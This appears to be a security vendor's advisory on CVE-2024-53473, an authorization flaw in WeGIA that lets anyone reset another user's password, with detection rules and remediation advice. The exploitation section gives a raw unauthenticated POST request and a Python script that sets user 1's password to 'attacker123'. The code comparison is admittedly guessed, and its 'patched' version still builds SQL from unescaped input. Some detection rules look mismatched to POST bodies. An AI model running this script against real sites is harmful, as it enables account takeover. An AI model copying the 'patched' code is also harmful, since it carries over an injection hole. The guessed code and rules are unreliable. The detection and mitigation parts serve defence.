CVE-2024-53473

Executive Summary

CVE-2024-53473 identifies a critical authorization bypass vulnerability in WeGIA version 3.2.0 prior to commit 3998672. The flaw allows an unauthenticated or low-privileged attacker to change any user's password without proper permission verification. This can lead to complete account takeover, privilege escalation, and full compromise of the WeGIA application. No public proof-of-concept or exploit code is currently available, and the vendor has not released an official patch beyond the referenced commit.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the password change endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – the attacker does not need authentication.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Changed (C) – the attacker can impact resources beyond their initial access.
• Confidentiality (C): High (H) – full account access leads to data exposure.
• Integrity (I): High (H) – attacker can modify user data and settings.
• Availability (A): High (H) – attacker can lock out legitimate users.

Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of WeGIA 3.2.0. The application fails to verify that the requesting user has the necessary permissions to change the target user's password. This means any user (or even an unauthenticated attacker) can send a direct request to the password change endpoint with a target user ID and new password, and the server will process it without checking if the requester is the account owner or an administrator.

The likely vulnerable code path involves a function that accepts a user ID and new password from the request parameters, then directly updates the database without verifying the session or token of the requester. This is a classic example of missing authorization checks (CWE-862).

Vulnerable vs. Patched Code

Vulnerable Code (before commit 3998672):

// No permission check
function changePassword($userId, $newPassword) {
    $hashedPassword = hashPassword($newPassword);
    $query = "UPDATE users SET password = '$hashedPassword' WHERE id = $userId";
    executeQuery($query);
}

Patched Code (after commit 3998672):

function changePassword($userId, $newPassword) {
    // Verify the requester is the same user or an admin
    if (!isCurrentUser($userId) && !isAdmin()) {
        die("Permission denied");
    }
    $hashedPassword = hashPassword($newPassword);
    $query = "UPDATE users SET password = '$hashedPassword' WHERE id = $userId";
    executeQuery($query);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy WeGIA 3.2.0 (pre-patch) in a controlled environment (e.g., Docker container).
2. Create a test user account (e.g., testuser with password oldpass).
3. Identify the password change endpoint (e.g., /api/change_password.php).

Exploitation Steps:

1. Send a direct POST request to the password change endpoint with the target user ID and new password:

   POST /api/change_password.php HTTP/1.1
   Host: target-wegia-instance.com
   Content-Type: application/x-www-form-urlencoded
   
   user_id=1&new_password=attacker123
   

2. The server will update the password for user ID 1 without any authentication.
3. Log in as user ID 1 with the new password to gain full access.

Automated Exploit (Python):

import requests

target = "http://target-wegia-instance.com"
endpoint = "/api/change_password.php"
data = {"user_id": "1", "new_password": "attacker123"}
response = requests.post(target + endpoint, data=data)
if response.status_code == 200:
    print("Password changed successfully!")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for unusual POST requests to password change endpoints without prior authentication.
• Look for rapid password change attempts across multiple user accounts.
• Alert on any password change where the session token does not match the target user.

Hunting:

• Search logs for requests to /api/change_password.php or similar endpoints.
• Correlate password change events with authentication logs to identify unauthorized changes.

Mitigation:

• Immediately apply the patch from commit 3998672.
• Implement strict session validation for all sensitive operations.
• Enable logging and alerting for all password changes.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/change_password.php with parameters user_id and new_password.
• Logs: Successful password change events without a corresponding authentication session.
• System: Unexpected user account lockouts or password reset notifications.

Detection Engineering

YARA Rule

rule CVE_2024_53473_WeGIA_Password_Change {
    meta:
        description = "Detects exploitation attempts for CVE-2024-53473 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53473"
    strings:
        $s1 = "change_password.php" nocase
        $s2 = "user_id=" nocase
        $s3 = "new_password=" nocase
    condition:
        all of them
}

Sigma Rule

title: WeGIA Unauthorized Password Change Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-53473 by sending password change requests without proper authentication.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'change_password.php'
            - 'user_id='
            - 'new_password='
    condition: selection
falsepositives:
    - Legitimate password changes by authenticated users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53473 WeGIA Unauthorized Password Change"; flow:to_server; content:"POST"; http_method; content:"change_password.php"; http_uri; content:"user_id="; http_client_body; content:"new_password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply the patch from commit 3998672 to the WeGIA installation.
2. Short-term: If patching is not possible, restrict access to the password change endpoint via firewall rules or web application firewall (WAF) to trusted IPs only.
3. Long-term: Conduct a full security audit of the WeGIA application to identify similar authorization flaws. Implement role-based access control (RBAC) for all sensitive operations.
4. Monitoring: Enable detailed logging for all authentication and authorization events. Set up alerts for suspicious password change activities.

Valters IT
Securing Digital Frontiers